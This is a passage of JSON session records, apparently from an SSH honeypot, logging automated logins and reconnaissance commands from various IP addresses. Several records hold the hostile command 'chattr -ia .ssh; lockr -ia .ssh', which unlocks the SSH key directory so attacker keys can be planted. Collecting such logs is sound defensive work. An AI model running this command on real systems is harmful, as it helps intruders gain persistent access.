  "transcript_bytes": 864
 },
 {
  "id": "34141156-fae1-4ead-9223-aeb6a64f9724",
  "name": "spirited-mighty-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51988,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:39:30.792581+00:00",
  "ended_at": "2026-08-26T13:39:49.003009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ac92470-7b56-4e06-8d34-2719c402b5b7",
  "name": "glassy-sooty-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47942,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 361,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:39:23.093932+00:00",
  "ended_at": "2026-08-26T13:39:28.029634+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "75151ebd-b15d-48fb-9133-15da070611d5",
  "name": "mighty-blunt-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37232,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 501,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:39:08.743745+00:00",
  "ended_at": "2026-08-26T13:39:12.171637+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "638ae769-053f-4234-a38b-5f5c214125e7",
  "name": "wiry-foggy-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51333,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:39:03.062867+00:00",
  "ended_at": "2026-08-26T13:39:03.866813+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b4c12d8f-201d-4053-97cf-94607f67f89c",
  "name": "gallant-ginger-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:56.880642+00:00",
  "ended_at": "2026-08-26T13:39:01.564047+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c5c3995a-a122-4f88-abe3-2292e676f710",
  "name": "lanky-canny-sparrow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:37.578161+00:00",
  "ended_at": "2026-08-26T13:38:41.312714+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d203dc85-1451-4507-9099-074a2fd4c9cd",
  "name": "fierce-plucky-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55968,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 544,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:32.605856+00:00",
  "ended_at": "2026-08-26T13:38:39.031220+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18540208-2653-4b61-9092-7a1ce0734aea",
  "name": "valiant-frugal-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.55.45.217",
  "src_port": 54538,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 66,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:38:24.493888+00:00",
  "ended_at": "2026-08-26T13:38:25.078452+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "dc4b9a5e-d001-43a0-b5d6-d2fc79466520",
  "name": "ruddy-marbled-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.55.45.217",
  "src_port": 54560,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:38:20.486104+00:00",
  "ended_at": "2026-08-26T13:38:21.891181+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "168b98a0-8033-4eac-b30f-5b9e21239d9e",
  "name": "oaken-dewy-marten",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.55.45.217",
  "src_port": 54552,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:38:19.757762+00:00",
  "ended_at": "2026-08-26T13:38:20.348399+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74a24ac0-729b-4828-babe-80ab14f90a50",
  "name": "cobalt-scarlet-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46584,
  "username": "steam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 504,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:17.275832+00:00",
  "ended_at": "2026-08-26T13:38:20.249953+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "24f52a97-f313-4ff1-aae7-7f248304a5d4",
  "name": "tangled-placid-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 637,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:09.795136+00:00",
  "ended_at": "2026-08-26T13:38:15.269703+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "31c5cf8f-0a29-4404-b617-6fe134672a47",
  "name": "lively-balmy-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 47622,
  "username": "liyang",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:38:08.251005+00:00",
  "ended_at": "2026-08-26T13:38:12.573004+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ab027d5-570c-44cc-ba48-b115e3f0a633",
  "name": "gloomy-early-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40594,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 750,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:38:07.941746+00:00",
  "ended_at": "2026-08-26T13:38:08.705878+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "170b3dff-f567-40ce-ba41-c58a5bc6f0f2",
  "name": "mighty-thorny-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34250,
  "username": "liyang",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 501,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:38:00.013477+00:00",
  "ended_at": "2026-08-26T13:38:12.571768+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "2e6ab4f2-5c43-44b7-8a43-6a8a45489a82",
  "name": "blazing-sunlit-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40596,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:52.620123+00:00",
  "ended_at": "2026-08-26T13:37:54.409641+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7ac4612a-04a3-4233-b448-ec723dc2d04f",
  "name": "sullen-forlorn-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33198,
  "username": "recorder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:52.200096+00:00",
  "ended_at": "2026-08-26T13:37:56.468599+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8573fcf8-0b76-45e8-a740-03fb3b67dfee",
  "name": "jaunty-gnarled-wolverine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40595,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:49.161259+00:00",
  "ended_at": "2026-08-26T13:37:51.122876+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09b9f7e9-442c-4620-b82d-79ed426f8809",
  "name": "whispering-mighty-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51506,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 930,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:37:48.623116+00:00",
  "ended_at": "2026-08-26T13:37:50.244066+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2253
 },
 {
  "id": "27577029-5f0d-476a-bf4c-db3f715e9d8b",
  "name": "windswept-creaky-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41696,
  "username": "recorder",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 583,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:37:47.212899+00:00",
  "ended_at": "2026-08-26T13:37:56.469584+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "2a30883d-7b95-49f9-91bd-66ddac1924e6",
  "name": "fierce-valiant-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 52088,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 298,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:37:42.190540+00:00",
  "ended_at": "2026-08-26T13:37:42.793002+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2046
 },
 {
  "id": "a18a4021-a7d7-4abf-ad17-d3c33a1c8106",
  "name": "twilight-opal-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54272,
  "username": "ajay",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:34.938838+00:00",
  "ended_at": "2026-08-26T13:37:35.960526+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ffbef61-95cd-4b7a-953e-73827c05216e",
  "name": "sleepy-cunning-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 54260,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:33.261218+00:00",
  "ended_at": "2026-08-26T13:37:34.353546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7aaac6ab-33d7-4341-832a-49fbf0c065e1",
  "name": "earnest-painted-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51522,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:21.643483+00:00",
  "ended_at": "2026-08-26T13:37:23.107611+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ece5f54c-b3f7-4f82-ab78-e5f724949532",
  "name": "restless-tawny-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 46578,
  "username": "david",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:20.758215+00:00",
  "ended_at": "2026-08-26T13:37:27.238239+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "692c92ed-b0b0-43ba-937a-6eff77eb66bf",
  "name": "peaty-plucky-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41338,
  "username": "gitlab-runner",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 617,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:37:20.167723+00:00",
  "ended_at": "2026-08-26T13:37:25.091004+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "15374453-8367-41a1-8287-1adba5e6323e",
  "name": "drifting-dusty-quoll",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51514,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:37:17.851921+00:00",
  "ended_at": "2026-08-26T13:37:19.852080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc6e756c-0a2c-4745-be3c-ac851d85b11b",
  "name": "peaty-lunar-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 32986,
  "username": "support",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 412,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:37:15.858275+00:00",
  "ended_at": "2026-08-26T13:37:19.308823+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c393167e-70c5-4936-8004-f33366c3480b",
  "name": "mindful-freckled-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41452,
  "username": "david",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 516,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:37:14.744210+00:00",
  "ended_at": "2026-08-26T13:37:27.237382+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "683bbd50-f94d-4445-acb3-4c10862e20cb",
  "name": "muted-painted-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 548,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:36:53.976202+00:00",
  "ended_at": "2026-08-26T13:36:56.948416+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7befe663-880e-44ff-8da6-89da3cebd11f",
  "name": "calm-hazy-snipe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 34234,
  "username": "fahmi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:36:52.983571+00:00",
  "ended_at": "2026-08-26T13:36:58.052993+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f5e2089f-6c38-4cb2-9187-69fd3471595b",
  "name": "quiet-thrifty-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48578,
  "username": "fahmi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:36:48.423693+00:00",
  "ended_at": "2026-08-26T13:36:58.051627+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "e4edeec2-cd64-4e39-810d-17dc91828343",
  "name": "quaint-eager-llama",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 41666,
  "username": "doris",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:36:40.773747+00:00",
  "ended_at": "2026-08-26T13:36:46.174282+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a5f20045-3636-4f97-a3c8-b9da51672e6d",
  "name": "hardy-lunar-toucan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.156.87.162",
  "src_port": 22462,
  "username": "user01",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:36:38.155110+00:00",
  "ended_at": "2026-08-26T13:36:38.488402+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "054807cc-f414-40f7-920a-6afba8e81a02",
  "name": "earnest-hollow-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56314,
  "username": "doris",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 429,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:36:34.556120+00:00",
  "ended_at": "2026-08-26T13:36:46.175471+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "3447fa55-b032-48e5-8c4e-16877de5804e",
  "name": "valiant-sleepy-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60874,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 733,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:36:08.960147+00:00",
  "ended_at": "2026-08-26T13:36:13.208656+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5ed4c55e-6a39-4608-a235-8340cc8edd47",
  "name": "oaken-brazen-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 532,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:35:57.070017+00:00",
  "ended_at": "2026-08-26T13:36:01.387334+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1313fa92-7256-49ea-b253-919cb2597e76",
  "name": "austere-burly-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40534,
  "username": "teamspeak",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 408,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:35:48.185046+00:00",
  "ended_at": "2026-08-26T13:35:51.680674+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7b51bb47-8d61-4093-9d80-fce99e5f4cba",
  "name": "blunt-dutiful-vicuna",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "216.73.216.122",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:35:47.396102+00:00",
  "ended_at": "2026-08-26T13:50:57.544905+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6884b0cc-7ab5-4613-b018-c8d4d8dccab3",
  "name": "candid-shaded-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56332,
  "username": "hduser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:35:36.362939+00:00",
  "ended_at": "2026-08-26T13:35:46.319281+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dd8fe1c8-fffd-410e-9b58-22c89a555a37",
  "name": "marine-oaken-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33264,
  "username": "hduser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 482,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:35:32.850747+00:00",
  "ended_at": "2026-08-26T13:35:46.320410+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "1876790d-862f-4cd2-b929-ae4e4ceea829",
  "name": "smoky-amber-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40724,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 478,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:35:29.539177+00:00",
  "ended_at": "2026-08-26T13:35:33.165397+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dd30b799-c583-40f7-b5ec-a4a47e495861",
  "name": "meadow-idle-goldfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 60892,
  "username": "playground",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:35:18.063470+00:00",
  "ended_at": "2026-08-26T13:35:24.995019+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54634a52-9cdd-4f29-bf5e-d942f0ce1301",
  "name": "fleeting-lucid-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44144,
  "username": "playground",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 630,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:35:14.311692+00:00",
  "ended_at": "2026-08-26T13:35:24.993288+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "eb74b5a3-a123-4986-a3bc-05afe8a9c66f",
  "name": "subtle-prickly-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54886,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 644,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:34:57.671797+00:00",
  "ended_at": "2026-08-26T13:35:01.342157+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5e266807-f308-4837-8727-adf13b3a0c6f",
  "name": "faded-salty-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 51298,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 891,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:34:51.196430+00:00",
  "ended_at": "2026-08-26T13:34:52.702663+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "2496f8ca-7764-4140-905d-fccfbd7640ee",
  "name": "sterling-noble-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 518,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:34:44.786867+00:00",
  "ended_at": "2026-08-26T13:34:47.722309+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7bba7e17-6f65-49f7-bf2b-4b51487533b4",
  "name": "craggy-cunning-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40054,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 511,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:34:29.403494+00:00",
  "ended_at": "2026-08-26T13:34:35.202458+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da92bc9e-150f-4b5a-ad69-f938ec97f30e",
  "name": "crimson-prairie-skink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51316,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:25.413938+00:00",
  "ended_at": "2026-08-26T13:34:27.115546+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "703c63a9-4af3-4cb2-a933-5757f3935831",
  "name": "fierce-silent-mallard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 51308,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:34:21.602796+00:00",
  "ended_at": "2026-08-26T13:34:23.619849+00:00",
